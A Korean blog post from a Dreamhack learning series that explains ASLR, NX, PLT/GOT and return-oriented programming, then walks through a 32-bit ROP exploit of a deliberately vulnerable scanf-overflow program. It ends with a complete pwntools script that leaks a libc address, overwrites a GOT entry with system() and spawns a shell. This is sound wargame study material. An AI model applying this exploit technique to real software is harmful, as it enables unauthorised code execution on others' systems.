[Dreamhack] 32bit Return Oriented Programming

Merry Berry·2023년 7월 6일
0

Pwnable&Reversing

목록 보기
1/7
post-thumbnail

Dreamhack에서 제공하는 예제 코드로 진행했다.
https://learn.dreamhack.io/3#15

Addresss Space Layout Randomization (ASLR)

Address Space Layout Randomization(ASLR)stack, heap, library가 매핑되는 가상 주소를 프로그램 실행될 때마다 바꾸어 정해진 주소로 공격하는 것으로부터 보호하는 기법이다.
/proc/sys/kernel/randomize_va_space에서 ASLR의 설정 값을 확인할 수 있는데, 설정되는 값은 3가지로 0(ASLR off), 1(stack, heap memory randomize), 2(stack, heap, library memory randomize)가 있다.

//gcc addr.c -o addr -ldl -no-pie -fno-PIE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>

static int data;

int main(){
        char buf_stack[0x10];
        char *buf_heap = (char *)malloc(0x10);

        printf("data addr: %p\n", &data);
        printf("buf_stack addr: %p\n", buf_stack);
        printf("buf_heap addr: %p\n", buf_heap);
        printf("libc_basc addr: %p\n", *(void**)dlopen("libc.so.6", RTLD_LAZY));
        printf("printf addr: %p\n", dlsym(dlopen("libc.so.6", RTLD_LAZY), "printf"));
        printf("main addr: %p\n", main);
}

위 코드는 전역 변수(data), 지역 변수(stack), 동적할당 변수(heap), library 매핑 위치(library), printf() 엔트리(library), main() 엔트리(code) 주소를 출력한다.

실행 결과에서 data와 code의 주소는 바뀌지 않지만 stack, heap, library의 주소가 바뀌는 것을 확인할 수 있다.


No-eXecute (NX)

만약 return address overwrite가 가능하고 그 주소를 buffer로 덮어쓰게 된다면, 함수에서 return 시 buffer의 내용을 실행하게 된다. 이때 버퍼에 shellcode를 주입하였다면 해당 shellcode를 실행할 수 있게 되는데, 이를 막기 위해서는 buffer가 저장된 영역의 실행 권한을 부여하지 말아야 한다. No-eXecute(NX)는 code 영역과 같이 수행되는 코드가 있는 영역에만 실행 권한을 부여하고, 이 외의 영역에서 실행되는 것을 막는 보호 기법이다.


PLT & GOT

Procedure Linkage Table(PLT)는 동적 링크 시 외부 라이브러리 함수의 주소를 알아내고(resolve) 해당 함수로 jump하는 테이블이다. 그리고 Global Offset Table(GOT)는 PLT에서 파악한 라이브러리 함수의 주소를 저장하는 테이블로, PLT에서 참조한다.
참고로 PLT와 GOT는 각각 code, data 영역에 존재하므로 ASLR이 적용되어도 각각의 위치는 변하지 않는다.

위 코드가 main()인 프로그램을 예로 들겠다. 해당 코드는 main+9, main+19에서 puts()를 호출하는데, 바로 puts()의 시작 주소로 가는 것이 아니라 puts@plt로 이동한다.

먼저 첫 번째 호출에서는 puts()를 실행하기 위해 puts@plt를 호출한다.

puts@plt에서는 puts()의 got테이블에 저장된 주소로 jump한다.

그러나 puts()의 엔트리 주소를 resolve하기 전이므로 GOT에는 put()의 시작 주소가 아닌 puts@plt+6의 주소가 저장된다.

따라서 puts@plt+6으로 jump한다.

이후 puts@plt에서 _dl_runtime_resolve_xsavec()가 호출된다. 이때 아직 GOT에는 puts()의 resolve된 주소가 저장되어 있지 않다.


_dl_runtime_resolve_xsavec()에서 puts()의 주소를 resolve했다면 해당 함수 이후 바로 puts()로 이동한다. 또한 GOT에 puts()의 resolve된 주소가 저장된다.

이번에는 두 번째 호출을 보겠다. 첫 번째 호출과 마찬가지로 puts@plt를 호출한다.

puts@plt의 첫 번째 명령은 [rip+0x200c12]로 jump하는 것이다. 해당 명령(0x400400)을 실행할 때 rip의 값은 0x400406이므로, 결국 [0x400406+0x200c12]로 jump하는 것인데, 이 메모리 주소는 put의 GOT의 위치를 나타낸다. 따라서 GOT에 저장된 puts의 resolve된 주소(0x7ffff7c80ed0)로 jmp하는 것이므로 puts@plt에서 바로 puts()로 jump한다.


Return Oriented Programming (ROP)

Return Oriented Programming(ROP)gadget이라 하는 일부 코드 조각들을 모아 return을 이용해 이들을 chaining하는 방법이다.

0x8048380:
	pop eax
    ret

0x8048480:
    xchg ebp, ecx
    ret

0x8048580:
    mov ecx, eax
    ret

위와 같은 코드가 있고 현재 stack의 상황에서 return하고자 하는 주소가 0x8048380일 경우를 가정한다. 그러면 return 이후 0x8048380이 실행되므로 pop eax가 실행된다.

따라서 pop 명령 시 esp가 가리키고 있는 0x41414141이 eax에 저장되고, esp는 0x8048580을 가리키게 된다.

그리고 pop eax 다음 명령인 ret가 실행되며 0x8048580에 위치한 코드가 실행된다. 이러한 방식으로 return이 각각의 gadget을 연결할 수 있도록 하므로 Return Oriented Programming이라 한다. ROP를 이용하면 NX나 ASLR로 인해 buffer에 직접 shellcode를 주입하거나 실행하기 어려울 때에도 원하는 gadget들을 모아 실행 가능한 공격 코드를 구성할 수 있다.


32bit ROP Exploitation

//rop_x86.c
#include <stdio.h>

int main(void){
        char buf[32] = {};
        puts("Hello World!");
        puts("Hello ASLR!");
        scanf("%s", buf);
        return 0;
}

공격 타겟 코드는 위와 같이 32bit 프로그램이다. canary는 적용되지 않았으므로 우회할 필요가 없다.

Vulnerability Analysis

해당 프로그램에서 scanf()가 사용되었으므로 stack buffer overflow를 통해 return address를 조작할 수 있다.

최종적으로 system(/bin/sh)를 호출할 것인데, 이 함수가 라이브러리에서 매핑된 위치는 동일 라이브러리에 있는 다른 함수(puts(), scanf())의 위치를 파악하면 알 수 있다. 이는 라이브러리가 매번 랜덤한 가상 메모리 위치에 매핑되더라도 라이브러리 내에 있는 각 함수들의 offset은 동일하기 때문에 가능한 것이다.

해당 프로그램은 /usr/lib/i386-linux-gnu/libc.so.6 라이브러리를 사용한다.

해당 라이브러리에서 puts(), system()의 offset은 각각 0x73260, 0x48150이다. 따라서 라이브러리 함수의 GOT에 있는 resolve된 주소를 알면 라이브러리의 매핑 시작 주소를 파악할 수 있고, 이와 offset을 이용하여 원하는 함수의 실제 매핑 위치도 파악할 수 있다.

이 과정으로 system()의 매핑 주소를 파악하고, puts나 scanf의 GOT에 system()의 시작 주소를 저장한 후 puts/scanf을 호출하면 된다.

Virtual Memory Mapping Location of scanf()

그럼 scanf()의 실제 매핑 위치는 어떻게 되는가? 프로그램에서 호출하는 scanf()의 정확한 symbol은 __isoc99_scanf()이다.

__iosc99_scanf()puts(), system()과 달리 readelf -s을 읽을 수가 없다(원인을 모르겠다). 따라서 pwndbg에서 scanf와 라이브러리의 실제 매핑 위치를 확인하여 offset을 알아볼 것이다.

scanf 호출 이후에는 GOT에 resolve된 주소가 저장되므로, 이를 통해 함수의 실제 매핑 위치를 파악할 수 있다. 라이브러리의 매핑 시작 주소0xf7c00000이고 __isoc99_scanf()의 매핑 시작 주소0xf7c58c30이므로, offset은 0xf7c58c30-0xf7c00000=0x00058c30이 된다.

objdump로 확인하면 0x00058c30이 __isoc99_scanf()의 offset임을 확인할 수 있다.

Exploitation Flow

  1. 먼저 Return Address Overwrite로 return address를 puts@plt로 바꾸어 이 함수로 이동할 수 있도록 한다. 이때 인자로는 GOT['__isoc99_scanf']로 설정하여 GOT에 저장된 scanf()의 매핑된 주소를 읽을 수 있도록 한다.
  2. 위에서 얻은 __isoc99_scanf의 실제 매핑 위치를 이용하여 system 함수의 실제 매핑 위치를 구한다.
  3. puts이후 __isoc99_scanf@plt로 이동할 수 있도록 한다. 인자는 이미 존재하는 문자열 "%s"의 주소 값과 GOT[__isoc99_scanf]로 전달하여 GOT[__isoc99_scanf]에 system의 실제 매핑 주소를 저장한다. 이때 GOT[__isoc99_scanf] 이후 문자열 "/bin/sh"도 저장한다. 이 문자열의 위치는 GOT[__isoc99_scanf] + 0x04가 된다.

    왜 system()의 매핑 주소를 GOT[puts]이 아닌 GOT[__isoc99_scanf]에 저장하는가?

    %s는 공백, 줄바꿈을 읽지 못한다. 그런데 puts@plt의 주소에 0x20(공백)이 포함되어 있으므로 그 다음 명령인 put@plt+6을 return address로 덮을 것이다. 즉 puts@plt+0의 명령을 실행하지 못하는데, 이곳에 위치한 명령은 GOT[puts]에 저장된 주소로 jump하는 명령이다. 따라서 GOT[puts]에 system의 시작 주소를 저장하더라도 GOT[puts]에 저장된 주소를 참조하여 jump하지 않게 되므로, 대신 GOT[__isoc99_scanf]에 system의 매핑 주소를 저장한다.

  4. __isoc99_scanf@plt를 호출한다. 여기서GOT[__isoc99_scanf]에는 system 함수의 실제 매핑 위치를 저장하고 있으므로 이 함수를 호출할 것이다. 이때 인자로 "/bin/sh"문자열의 메모리 주소인 GOT[__isoc99_scanf] + 0x04를 전달한다.

x86 Calling Convention: cdecl

x86 기반 프로그램을 공격하는 payload를 구성하기 위해서는 x86 Calling Convention을 가볍게 이해할 필요가 있다. 이 프로그램에서 적용된 호출 규약은 cdecl이므로 이것만 짚고 넘어가겠다.

https://en.wikipedia.org/wiki/X86_calling_conventions

cdecl에서는 인자를 stack으로 넘긴다. 인자는 반대 순서로 전달되는데, 위 예시에서는 세 번째 인자가 먼저 stack에 push되고, 첫 번째 인자는 마지막으로 push된다.
그리고 call callee 명령이 실행되면 push eip, jmp callee가 동작하여, 호출 직후에는 stack이 아래와 같이 구성된다.

stack의 top(esp)에는 return address backup되어 있고 그 다음으로 인자가 저장된다. 이 부분을 이용하여 payload를 구성할 것이다.

Payload

payload는 stack이 다음 그림과 같이 될 수 있도록 구성한다.

"%s" 문자열의 위치(0x8048559)는 다음 방법으로 알아낼 수 있다.

사용할 gadget은 pop ebp; ret(0x0804851b), pop edi; pop ebp; ret(0x0804851a)이다.

pop ebx; ret(0x0804830d)가 아닌 pop ebp; ret(0x0804851b)를 사용했는가?

pop ebx; ret의 주소 0x0804830d에서 0x0d는 %s format string으로 읽지 못한다. 따라서 해당 주소 값을 payload에 사용할 수 없으므로 대신에 pop eb;ret을 사용한 것이다.

Exploitation

from pwn import *

p = process('./rop_x86')
#ELF info
e = ELF('./rop_x86')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')

##plt, got
puts_plt = e.plt['puts'] + 0x06
scanf_plt = e.plt['__isoc99_scanf']
scanf_got = e.got['__isoc99_scanf']

#gadgets, string
pop_ebx = 0x0804851b
pop_edi_ebp = 0x0804851a
ret = 0x080482f6 #stack alignment for system()
format_s = 0x08048559

#payload injection
payload = b'A'*0x24 + p32(puts_plt) + p32(pop_ebx) + p32(scanf_got)
payload += p32(scanf_plt) + p32(pop_edi_ebp) + p32(format_s) + p32(scanf_got)
payload += p32(scanf_plt) + b'D'*0x04 + p32(scanf_got + 0x04)
p.sendline(payload)

#got[scanf] leak
p.recvuntil(b'ASLR!\n')
scanf_addr = u32(p.recv(4))

#find address of system()
system_addr = scanf_addr - libc.symbols['__isoc99_scanf'] + libc.symbols['system']

#overwrite got[scanf] to system() address
binsh = b"/bin//sh"
p.sendline(p32(system_addr) + binsh + b'\x00')

p.interactive()

Exploit이 성공적으로 수행되었다.

0개의 댓글